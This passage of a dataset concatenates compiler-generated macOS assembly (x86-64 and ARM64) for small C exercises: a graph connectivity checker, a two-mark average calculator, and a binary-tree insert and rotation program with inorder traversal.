leaq -16(%rbp), %rsi
movb $0, %al
callq _scanf
jmp LBB4_9
LBB4_11:
movq -64(%rbp), %rdi ## 8-byte Reload
callq _printAdjMatrix
movb $1, %al
testb $1, %al
jne LBB4_12
jmp LBB4_13
LBB4_12:
leaq L_.str.8(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB4_14
LBB4_13:
leaq L_.str.9(%rip), %rdi
movb $0, %al
callq _printf
LBB4_14:
movl $0, -12(%rbp)
movq -24(%rbp), %rax
movq %rax, %rsp
movl -12(%rbp), %eax
movl %eax, -88(%rbp) ## 4-byte Spill
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB4_16
## %bb.15:
movl -88(%rbp), %eax ## 4-byte Reload
movq %rbp, %rsp
popq %rbp
retq
LBB4_16:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.globl _vertices ## @vertices
.zerofill __DATA,__common,_vertices,4,2
.globl _edges ## @edges
.zerofill __DATA,__common,_edges,4,2
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "\nThe Adjacency matrix: \n"
L_.str.1: ## @.str.1
.asciz "%d "
L_.str.2: ## @.str.2
.asciz "\n"
L_.str.3: ## @.str.3
.asciz "Enter number of vertices of undirected graph: "
L_.str.4: ## @.str.4
.asciz "%d"
L_.str.5: ## @.str.5
.asciz "Enter 2 vertices to form edge: "
L_.str.6: ## @.str.6
.asciz "%d %d"
L_.str.7: ## @.str.7
.asciz "Enter 1 to continue or 0 to exit: "
L_.str.8: ## @.str.8
.asciz "Graph is connected!\n"
L_.str.9: ## @.str.9
.asciz "Graph is not connected!\n"
.subsections_via_symbols
| the_stack_data/165769584.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
mov w8, #0
str w8, [sp, #24] ; 4-byte Folded Spill
stur wzr, [x29, #-4]
movi d0, #0000000000000000
stur s0, [x29, #-16]
stur s0, [x29, #-20]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
mov x9, sp
sub x8, x29, #8
str x8, [x9]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
str x0, [sp, #16] ; 8-byte Folded Spill
bl _scanf
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
ldr x0, [sp, #16] ; 8-byte Folded Reload
mov x9, sp
sub x8, x29, #12
str x8, [x9]
bl _scanf
ldur w8, [x29, #-8]
ldur w9, [x29, #-12]
add w8, w8, w9
scvtf s0, w8
stur s0, [x29, #-16]
ldur s0, [x29, #-16]
fmov s1, #2.00000000
fdiv s0, s0, s1
stur s0, [x29, #-20]
ldur s0, [x29, #-20]
fcvt d0, s0
mov x8, sp
str d0, [x8]
adrp x0, l_.str.3@PAGE
add x0, x0, l_.str.3@PAGEOFF
bl _printf
ldr w0, [sp, #24] ; 4-byte Folded Reload
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "Enter the mark 1 :"
l_.str.1: ; @.str.1
.asciz "%d"
l_.str.2: ; @.str.2
.asciz "Enter the mark 2 :"
l_.str.3: ; @.str.3
.asciz "Average mark is : %.2f"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.section __TEXT,__literal4,4byte_literals
.p2align 2 ## -- Begin function main
LCPI0_0:
.long 0x40000000 ## float 2
.section __TEXT,__text,regular,pure_instructions
.globl _main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movl $0, -4(%rbp)
xorps %xmm0, %xmm0
movss %xmm0, -16(%rbp)
xorps %xmm0, %xmm0
movss %xmm0, -20(%rbp)
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.1(%rip), %rdi
leaq -8(%rbp), %rsi
movb $0, %al
callq _scanf
leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.1(%rip), %rdi
leaq -12(%rbp), %rsi
movb $0, %al
callq _scanf
movl -8(%rbp), %eax
addl -12(%rbp), %eax
cvtsi2ss %eax, %xmm0
movss %xmm0, -16(%rbp)
movss -16(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero
movss LCPI0_0(%rip), %xmm1 ## xmm1 = mem[0],zero,zero,zero
divss %xmm1, %xmm0
movss %xmm0, -20(%rbp)
movss -20(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero
cvtss2sd %xmm0, %xmm0
leaq L_.str.3(%rip), %rdi
movb $1, %al
callq _printf
xorl %eax, %eax
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "Enter the mark 1 :"
L_.str.1: ## @.str.1
.asciz "%d"
L_.str.2: ## @.str.2
.asciz "Enter the mark 2 :"
L_.str.3: ## @.str.3
.asciz "Average mark is : %.2f"
.subsections_via_symbols
| the_stack_data/67325232.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _Insert ; -- Begin function Insert
.p2align 2
_Insert: ; @Insert
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str x0, [sp, #16]
str x1, [sp, #8]
ldr x8, [sp, #16]
subs x8, x8, #0
cset w8, ne
tbnz w8, #0, LBB0_2
b LBB0_1
LBB0_1:
ldr x8, [sp, #8]
stur x8, [x29, #-8]
b LBB0_8
LBB0_2:
ldr x8, [sp, #8]
ldr w8, [x8]
ldr x9, [sp, #16]
ldr w9, [x9]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_4
b LBB0_3
LBB0_3:
ldr x8, [sp, #16]
ldr x0, [x8, #16]
ldr x1, [sp, #8]
bl _Insert
ldr x8, [sp, #16]
str x0, [x8, #16]
ldr x8, [sp, #16]
ldr x9, [sp, #16]
ldr x9, [x9, #16]
str x8, [x9, #8]
b LBB0_7
LBB0_4:
ldr x8, [sp, #8]
ldr w8, [x8]
ldr x9, [sp, #16]
ldr w9, [x9]
subs w8, w8, w9
cset w8, le
tbnz w8, #0, LBB0_6
b LBB0_5
LBB0_5:
ldr x8, [sp, #16]
ldr x0, [x8, #24]
ldr x1, [sp, #8]
bl _Insert
ldr x8, [sp, #16]
str x0, [x8, #24]
ldr x8, [sp, #16]
ldr x9, [sp, #16]
ldr x9, [x9, #24]
str x8, [x9, #8]
b LBB0_6
LBB0_6:
b LBB0_7
LBB0_7:
ldr x8, [sp, #16]
stur x8, [x29, #-8]
b LBB0_8
LBB0_8:
ldur x0, [x29, #-8]
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _Rrotate ; -- Begin function Rrotate
.p2align 2
_Rrotate: ; @Rrotate
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str x0, [sp, #8]
ldr x8, [sp, #8]
ldr x8, [x8, #16]
str x8, [sp]
ldr x8, [sp]
ldr x8, [x8, #24]
ldr x9, [sp, #8]
str x8, [x9, #16]
ldr x8, [sp, #8]
ldr x8, [x8, #16]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB1_2
b LBB1_1
LBB1_1:
ldr x8, [sp, #8]
ldr x9, [sp, #8]
ldr x9, [x9, #16]
str x8, [x9, #8]
b LBB1_2
LBB1_2:
ldr x8, [sp, #8]
ldr x8, [x8, #8]
ldr x9, [sp]
str x8, [x9, #8]
ldr x8, [sp, #8]
ldr x8, [x8, #8]
subs x8, x8, #0
cset w8, ne
tbnz w8, #0, LBB1_4
b LBB1_3
LBB1_3:
ldr x8, [sp]
adrp x9, _root@PAGE
str x8, [x9, _root@PAGEOFF]
b LBB1_8
LBB1_4:
ldr x8, [sp, #8]
ldr x9, [sp, #8]
ldr x9, [x9, #8]
ldr x9, [x9, #16]
subs x8, x8, x9
cset w8, ne
tbnz w8, #0, LBB1_6
b LBB1_5
LBB1_5:
ldr x8, [sp]
ldr x9, [sp, #8]
ldr x9, [x9, #8]
str x8, [x9, #16]
b LBB1_7
LBB1_6:
ldr x8, [sp]
ldr x9, [sp, #8]
ldr x9, [x9, #8]
str x8, [x9, #24]
b LBB1_7
LBB1_7:
b LBB1_8
LBB1_8:
ldr x8, [sp, #8]
ldr x9, [sp]
str x8, [x9, #24]
ldr x8, [sp]
ldr x9, [sp, #8]
str x8, [x9, #8]
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.globl _Lrotate ; -- Begin function Lrotate
.p2align 2
_Lrotate: ; @Lrotate
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str x0, [sp, #8]
ldr x8, [sp, #8]
ldr x8, [x8, #24]
str x8, [sp]
ldr x8, [sp]
ldr x8, [x8, #16]
ldr x9, [sp, #8]
str x8, [x9, #24]
ldr x8, [sp, #8]
ldr x8, [x8, #24]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB2_2
b LBB2_1
LBB2_1:
ldr x8, [sp, #8]
ldr x9, [sp, #8]
ldr x9, [x9, #24]
str x8, [x9, #8]
b LBB2_2
LBB2_2:
ldr x8, [sp, #8]
ldr x8, [x8, #8]
ldr x9, [sp]
str x8, [x9, #8]
ldr x8, [sp, #8]
ldr x8, [x8, #8]
subs x8, x8, #0
cset w8, ne
tbnz w8, #0, LBB2_4
b LBB2_3
LBB2_3:
ldr x8, [sp]
adrp x9, _root@PAGE
str x8, [x9, _root@PAGEOFF]
b LBB2_8
LBB2_4:
ldr x8, [sp, #8]
ldr x9, [sp, #8]
ldr x9, [x9, #8]
ldr x9, [x9, #16]
subs x8, x8, x9
cset w8, ne
tbnz w8, #0, LBB2_6
b LBB2_5
LBB2_5:
ldr x8, [sp]
ldr x9, [sp, #8]
ldr x9, [x9, #8]
str x8, [x9, #16]
b LBB2_7
LBB2_6:
ldr x8, [sp]
ldr x9, [sp, #8]
ldr x9, [x9, #8]
str x8, [x9, #24]
b LBB2_7
LBB2_7:
b LBB2_8
LBB2_8:
ldr x8, [sp, #8]
ldr x9, [sp]
str x8, [x9, #16]
ldr x8, [sp]
ldr x9, [sp, #8]
str x8, [x9, #8]
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.globl _maintenance ; -- Begin function maintenance
.p2align 2
_maintenance: ; @maintenance
.cfi_startproc
; %bb.0:
sub sp, sp, #80
.cfi_def_cfa_offset 80
stp x29, x30, [sp, #64] ; 16-byte Folded Spill
add x29, sp, #64
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-8]
stur x1, [x29, #-16]
; kill: def $x8 killed $xzr
stur xzr, [x29, #-24]
str xzr, [sp, #32]
b LBB3_1
LBB3_1: ; =>This Inner Loop Header: Depth=1
ldur x8, [x29, #-16]
ldur x9, [x29, #-8]
subs x8, x8, x9
cset w8, eq
mov w9, #0
str w9, [sp] ; 4-byte Folded Spill
tbnz w8, #0, LBB3_4
b LBB3_2
LBB3_2: ; in Loop: Header=BB3_1 Depth=1
ldur x8, [x29, #-16]
ldr w8, [x8, #4]
subs w8, w8, #0
cset w8, eq
mov w9, #0
str w9, [sp] ; 4-byte Folded Spill
tbnz w8, #0, LBB3_4
b LBB3_3
LBB3_3: ; in Loop: Header=BB3_1 Depth=1
ldur x8, [x29, #-16]
ldr x8, [x8, #8]
ldr w8, [x8, #4]
subs w8, w8, #1
cset w8, eq
str w8, [sp] ; 4-byte Folded Spill
b LBB3_4
LBB3_4: ; in Loop: Header=BB3_1 Depth=1
ldr w8, [sp] ; 4-byte Folded Reload
tbz w8, #0, LBB3_21
b LBB3_5
LBB3_5: ; in Loop: Header=BB3_1 Depth=1
ldur x8, [x29, #-16]
ldr x8, [x8, #8]
stur x8, [x29, #-24]
ldur x8, [x29, #-16]
ldr x8, [x8, #8]
ldr x8, [x8, #8]
str x8, [sp, #32]
ldur x8, [x29, #-24]
ldr x9, [sp, #32]
ldr x9, [x9, #16]
subs x8, x8, x9
cset w8, ne
tbnz w8, #0, LBB3_13
b LBB3_6
LBB3_6: ; in Loop: Header=BB3_1 Depth=1
ldr x8, [sp, #32]
ldr x8, [x8, #24]
str x8, [sp, #24]
ldr x8, [sp, #24]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB3_9
b LBB3_7
LBB3_7: ; in Loop: Header=BB3_1 Depth=1
ldr x8, [sp, #24]
ldr w8, [x8, #4]
subs w8, w8, #1
cset w8, ne
tbnz w8, #0, LBB3_9
b LBB3_8
LBB3_8: ; in Loop: Header=BB3_1 Depth=1
ldr x9, [sp, #32]
mov w8, #1
str w8, [x9, #4]
ldur x8, [x29, #-24]
str wzr, [x8, #4]
ldr x8, [sp, #24]
str wzr, [x8, #4]
ldr x8, [sp, #32]
stur x8, [x29, #-16]
b LBB3_12
LBB3_9: ; in Loop: Header=BB3_1 Depth=1
ldur x8, [x29, #-16]
ldur x9, [x29, #-24]
ldr x9, [x9, #24]
subs x8, x8, x9
cset w8, ne
tbnz w8, #0, LBB3_11
b LBB3_10
LBB3_10: ; in Loop: Header=BB3_1 Depth=1
ldur x0, [x29, #-24]
bl _Lrotate
ldur x8, [x29, #-24]
stur x8, [x29, #-16]
ldur x8, [x29, #-16]
ldr x8, [x8, #8]
stur x8, [x29, #-24]
b LBB3_11
LBB3_11: ; in Loop: Header=BB3_1 Depth=1
ldr x0, [sp, #32]
bl _Rrotate
ldur x8, [x29, #-24]
ldr w8, [x8, #4]
str w8, [sp, #20]
ldr x8, [sp, #32]
ldr w8, [x8, #4]
ldur x9, [x29, #-24]
str w8, [x9, #4]
ldr w8, [sp, #20]
ldr x9, [sp, #32]
str w8, [x9, #4]
ldur x8, [x29, #-24]
stur x8, [x29, #-16]
b LBB3_12
LBB3_12: ; in Loop: Header=BB3_1 Depth=1
b LBB3_20
LBB3_13: ; in Loop: Header=BB3_1 Depth=1
ldr x8, [sp, #32]
ldr x8, [x8, #16]
str x8, [sp, #8]
ldr x8, [sp, #8]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB3_16
b LBB3_14
LBB3_14: ; in Loop: Header=BB3_1 Depth=1
ldr x8, [sp, #8]
ldr w8, [x8, #4]
subs w8, w8, #1
cset w8, ne
tbnz w8, #0, LBB3_16
b LBB3_15
LBB3_15: ; in Loop: Header=BB3_1 Depth=1
ldr x9, [sp, #32]
mov w8, #1
str w8, [x9, #4]
ldur x8, [x29, #-24]
str wzr, [x8, #4]
ldr x8, [sp, #8]
str wzr, [x8, #4]
ldr x8, [sp, #32]
stur x8, [x29, #-16]
b LBB3_19
LBB3_16: ; in Loop: Header=BB3_1 Depth=1
ldur x8, [x29, #-16]
ldur x9, [x29, #-24]
ldr x9, [x9, #16]
subs x8, x8, x9
cset w8, ne
tbnz w8, #0, LBB3_18
b LBB3_17
LBB3_17: ; in Loop: Header=BB3_1 Depth=1
ldur x0, [x29, #-24]
bl _Rrotate
ldur x8, [x29, #-24]
stur x8, [x29, #-16]
ldur x8, [x29, #-16]
ldr x8, [x8, #8]
stur x8, [x29, #-24]
b LBB3_18
LBB3_18: ; in Loop: Header=BB3_1 Depth=1
ldr x0, [sp, #32]
bl _Lrotate
ldur x8, [x29, #-24]
ldr w8, [x8, #4]
str w8, [sp, #4]
ldr x8, [sp, #32]
ldr w8, [x8, #4]
ldur x9, [x29, #-24]
str w8, [x9, #4]
ldr w8, [sp, #4]
ldr x9, [sp, #32]
str w8, [x9, #4]
ldur x8, [x29, #-24]
stur x8, [x29, #-16]
b LBB3_19
LBB3_19: ; in Loop: Header=BB3_1 Depth=1
b LBB3_20
LBB3_20: ; in Loop: Header=BB3_1 Depth=1
b LBB3_1
LBB3_21:
ldur x8, [x29, #-8]
str wzr, [x8, #4]
ldp x29, x30, [sp, #64] ; 16-byte Folded Reload
add sp, sp, #80
ret
.cfi_endproc
; -- End function
.globl _Inorder ; -- Begin function Inorder
.p2align 2
_Inorder: ; @Inorder
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str x0, [sp, #8]
ldr x8, [sp, #8]
subs x8, x8, #0
cset w8, ne
tbnz w8, #0, LBB4_2
b LBB4_1
LBB4_1:
b LBB4_3
LBB4_2:
ldr x8, [sp, #8]
ldr x0, [x8, #16]
bl _Inorder
ldr x8, [sp, #8]
ldr w9, [x8]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
ldr x8, [sp, #8]
ldr x0, [x8, #24]
bl _Inorder
b LBB4_3
LBB4_3:
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
stp x29, x30, [sp, #-16]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 16
mov x29, sp
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
sub sp, sp, #96
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-8]
stur wzr, [x29, #-12]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
sub sp, sp, #16
mov x9, sp
sub x8, x29, #16
str x8, [x9]
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _scanf
add sp, sp, #16
ldur w8, [x29, #-16]
; kill: def $x8 killed $w8
mov x9, sp
stur x9, [x29, #-24]
lsl x9, x8, #2
add x9, x9, #15
and x9, x9, #0xfffffffffffffff0
stur x9, [x29, #-64] ; 8-byte Folded Spill
adrp x16, ___chkstk_darwin@GOTPAGE
ldr x16, [x16, ___chkstk_darwin@GOTPAGEOFF]
blr x16
ldur x10, [x29, #-64] ; 8-byte Folded Reload
mov x9, sp
subs x9, x9, x10
mov sp, x9
stur x9, [x29, #-56] ; 8-byte Folded Spill
stur x8, [x29, #-32]
adrp x0, l_.str.3@PAGE
add x0, x0, l_.str.3@PAGEOFF
bl _printf
stur wzr, [x29, #-36]
b LBB5_1
LBB5_1: ; =>This Inner Loop Header: Depth=1
ldur w8, [x29, #-36]
ldur w9, [x29, #-16]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB5_4
b LBB5_2
LBB5_2: ; in Loop: Header=BB5_1 Depth=1
ldur w8, [x29, #-36]
add w10, w8, #1
sub sp, sp, #16
mov x9, sp
; implicit-def: $x8
mov x8, x10
str x8, [x9]
adrp x0, l_.str.4@PAGE
add x0, x0, l_.str.4@PAGEOFF
bl _printf
ldur x8, [x29, #-56] ; 8-byte Folded Reload
add sp, sp, #16
ldursw x9, [x29, #-36]
add x8, x8, x9, lsl #2
sub sp, sp, #16
mov x9, sp
str x8, [x9]
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _scanf
add sp, sp, #16
b LBB5_3
LBB5_3: ; in Loop: Header=BB5_1 Depth=1
ldur w8, [x29, #-36]
add w8, w8, #1
stur w8, [x29, #-36]
b LBB5_1
LBB5_4:
stur wzr, [x29, #-40]
b LBB5_5
LBB5_5: ; =>This Inner Loop Header: Depth=1
ldur w8, [x29, #-40]
ldur w9, [x29, #-16]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB5_8
b LBB5_6
LBB5_6: ; in Loop: Header=BB5_5 Depth=1
mov x0, #32
bl _malloc
ldur x8, [x29, #-56] ; 8-byte Folded Reload
stur x0, [x29, #-48]
ldur x9, [x29, #-48]
; kill: def $x10 killed $xzr
str xzr, [x9, #24]
ldur x9, [x29, #-48]
str xzr, [x9, #16]
ldur x9, [x29, #-48]
str xzr, [x9, #8]
ldursw x9, [x29, #-40]
ldr w8, [x8, x9, lsl #2]
ldur x9, [x29, #-48]
str w8, [x9]
ldur x9, [x29, #-48]
mov w8, #1
str w8, [x9, #4]
adrp x8, _root@PAGE
stur x8, [x29, #-72] ; 8-byte Folded Spill
ldr x0, [x8, _root@PAGEOFF]
ldur x1, [x29, #-48]
bl _Insert
ldur x8, [x29, #-72] ; 8-byte Folded Reload
str x0, [x8, _root@PAGEOFF]
adrp x8, _root1@PAGE
stur x8, [x29, #-80] ; 8-byte Folded Spill
ldr x0, [x8, _root1@PAGEOFF]
ldur x1, [x29, #-48]
bl _Insert
ldur x9, [x29, #-80] ; 8-byte Folded Reload
ldur x8, [x29, #-72] ; 8-byte Folded Reload
str x0, [x9, _root1@PAGEOFF]
ldr x0, [x8, _root@PAGEOFF]
ldur x1, [x29, #-48]
bl _maintenance
b LBB5_7
LBB5_7: ; in Loop: Header=BB5_5 Depth=1
ldur w8, [x29, #-40]
add w8, w8, #1
stur w8, [x29, #-40]
b LBB5_5
LBB5_8:
adrp x0, l_.str.5@PAGE
add x0, x0, l_.str.5@PAGEOFF
bl _printf
adrp x8, _root1@PAGE
ldr x0, [x8, _root1@PAGEOFF]
bl _Inorder
adrp x0, l_.str.6@PAGE
add x0, x0, l_.str.6@PAGEOFF
stur x0, [x29, #-96] ; 8-byte Folded Spill
bl _printf
adrp x0, l_.str.7@PAGE
add x0, x0, l_.str.7@PAGEOFF
bl _printf
adrp x8, _root@PAGE
ldr x0, [x8, _root@PAGEOFF]
bl _Inorder
ldur x0, [x29, #-96] ; 8-byte Folded Reload
bl _printf
stur wzr, [x29, #-12]
ldur x8, [x29, #-24]
mov sp, x8
ldur w8, [x29, #-12]
stur w8, [x29, #-84] ; 4-byte Folded Spill
ldur x9, [x29, #-8]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB5_10
b LBB5_9
LBB5_9:
bl ___stack_chk_fail
LBB5_10:
ldur w0, [x29, #-84] ; 4-byte Folded Reload
mov sp, x29
ldp x29, x30, [sp], #16 ; 16-byte Folded Reload
ret
.cfi_endproc
; -- End function
.globl _root ; @root
.zerofill __DATA,__common,_root,8,3
.globl _root1 ; @root1
.zerofill __DATA,__common,_root1,8,3
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "%d "
l_.str.1: ; @.str.1
.asciz "Enter no. of nodes in tree : "
l_.str.2: ; @.str.2
.asciz "%d"
l_.str.3: ; @.str.3
.asciz "Enter values : a mid value, some values > mid and some values < mid "
l_.str.4: ; @.str.4
.asciz "\nNode %d : "
l_.str.5: ; @.str.5
.asciz "\nInorder Traversal of Original Tree (Unbalanced)\n"
l_.str.6: ; @.str.6
.asciz "\n\n"
l_.str.7: ; @.str.7
.asciz "\nInorder Traversal of Created Tree\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _Insert ## -- Begin function Insert
.p2align 4, 0x90
_Insert: ## @Insert
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movq %rdi, -16(%rbp)
movq %rsi, -24(%rbp)
cmpq $0, -16(%rbp)
jne LBB0_2
## %bb.1:
movq -24(%rbp), %rax
movq %rax, -8(%rbp)
jmp LBB0_8
LBB0_2:
movq -24(%rbp), %rax
movl (%rax), %eax
movq -16(%rbp), %rcx
cmpl (%rcx), %eax
jge LBB0_4
## %bb.3:
movq -16(%rbp), %rax
movq 16(%rax), %rdi
movq -24(%rbp), %rsi
callq _Insert
movq %rax, %rcx
movq -16(%rbp), %rax
movq %rcx, 16(%rax)
movq -16(%rbp), %rcx
movq -16(%rbp), %rax
movq 16(%rax), %rax
movq %rcx, 8(%rax)
jmp LBB0_7
LBB0_4:
movq -24(%rbp), %rax
movl (%rax), %eax
movq -16(%rbp), %rcx
cmpl (%rcx), %eax
jle LBB0_6
## %bb.5:
movq -16(%rbp), %rax
movq 24(%rax), %rdi
movq -24(%rbp), %rsi
callq _Insert
movq %rax, %rcx
movq -16(%rbp), %rax
movq %rcx, 24(%rax)
movq -16(%rbp), %rcx
movq -16(%rbp), %rax
movq 24(%rax), %rax
movq %rcx, 8(%rax)
LBB0_6:
jmp LBB0_7
LBB0_7:
movq -16(%rbp), %rax
movq %rax, -8(%rbp)
LBB0_8:
movq -8(%rbp), %rax
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _Rrotate ## -- Begin function Rrotate
.p2align 4, 0x90
_Rrotate: ## @Rrotate
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq %rdi, -8(%rbp)
movq -8(%rbp), %rax
movq 16(%rax), %rax
movq %rax, -16(%rbp)
movq -16(%rbp), %rax
movq 24(%rax), %rcx
movq -8(%rbp), %rax
movq %rcx, 16(%rax)
movq -8(%rbp), %rax
cmpq $0, 16(%rax)
je LBB1_2
## %bb.1:
movq -8(%rbp), %rcx
movq -8(%rbp), %rax
movq 16(%rax), %rax
movq %rcx, 8(%rax)
LBB1_2:
movq -8(%rbp), %rax
movq 8(%rax), %rcx
movq -16(%rbp), %rax
movq %rcx, 8(%rax)
movq -8(%rbp), %rax
cmpq $0, 8(%rax)
jne LBB1_4
## %bb.3:
movq -16(%rbp), %rax
movq %rax, _root(%rip)
jmp LBB1_8
LBB1_4:
movq -8(%rbp), %rax
movq -8(%rbp), %rcx
movq 8(%rcx), %rcx
cmpq 16(%rcx), %rax
jne LBB1_6
## %bb.5:
movq -16(%rbp), %rcx
movq -8(%rbp), %rax
movq 8(%rax), %rax
movq %rcx, 16(%rax)
jmp LBB1_7
LBB1_6:
movq -16(%rbp), %rcx
movq -8(%rbp), %rax
movq 8(%rax), %rax
movq %rcx, 24(%rax)
LBB1_7:
jmp LBB1_8
LBB1_8:
movq -8(%rbp), %rcx
movq -16(%rbp), %rax
movq %rcx, 24(%rax)
movq -16(%rbp), %rcx
movq -8(%rbp), %rax
movq %rcx, 8(%rax)
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _Lrotate ## -- Begin function Lrotate
.p2align 4, 0x90
_Lrotate: ## @Lrotate
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq %rdi, -8(%rbp)
movq -8(%rbp), %rax
movq 24(%rax), %rax
movq %rax, -16(%rbp)
movq -16(%rbp), %rax
movq 16(%rax), %rcx
movq -8(%rbp), %rax
movq %rcx, 24(%rax)
movq -8(%rbp), %rax
cmpq $0, 24(%rax)
je LBB2_2
## %bb.1:
movq -8(%rbp), %rcx
movq -8(%rbp), %rax
movq 24(%rax), %rax
movq %rcx, 8(%rax)
LBB2_2:
movq -8(%rbp), %rax
movq 8(%rax), %rcx
movq -16(%rbp), %rax
movq %rcx, 8(%rax)
movq -8(%rbp), %rax
cmpq $0, 8(%rax)
jne LBB2_4
## %bb.3:
movq -16(%rbp), %rax
movq %rax, _root(%rip)
jmp LBB2_8
LBB2_4:
movq -8(%rbp), %rax
movq -8(%rbp), %rcx
movq 8(%rcx), %rcx
cmpq 16(%rcx), %rax
jne LBB2_6
## %bb.5:
movq -16(%rbp), %rcx
movq -8(%rbp), %rax
movq 8(%rax), %rax
movq %rcx, 16(%rax)
jmp LBB2_7
LBB2_6:
movq -16(%rbp), %rcx
movq -8(%rbp), %rax
movq 8(%rax), %rax
movq %rcx, 24(%rax)
LBB2_7:
jmp LBB2_8
LBB2_8:
movq -8(%rbp), %rcx
movq -16(%rbp), %rax
movq %rcx, 16(%rax)
movq -16(%rbp), %rcx
movq -8(%rbp), %rax
movq %rcx, 8(%rax)
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _maintenance ## -- Begin function maintenance
.p2align 4, 0x90
_maintenance: ## @maintenance
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $64, %rsp
movq %rdi, -8(%rbp)
movq %rsi, -16(%rbp)
movq $0, -24(%rbp)
movq $0, -32(%rbp)
LBB3_1: ## =>This Inner Loop Header: Depth=1
movq -16(%rbp), %rcx
xorl %eax, %eax
## kill: def $al killed $al killed $eax
cmpq -8(%rbp), %rcx
movb %al, -61(%rbp) ## 1-byte Spill
je LBB3_4
## %bb.2: ## in Loop: Header=BB3_1 Depth=1
movq -16(%rbp), %rcx
xorl %eax, %eax
## kill: def $al killed $al killed $eax
cmpl $0, 4(%rcx)
movb %al, -61(%rbp) ## 1-byte Spill
je LBB3_4
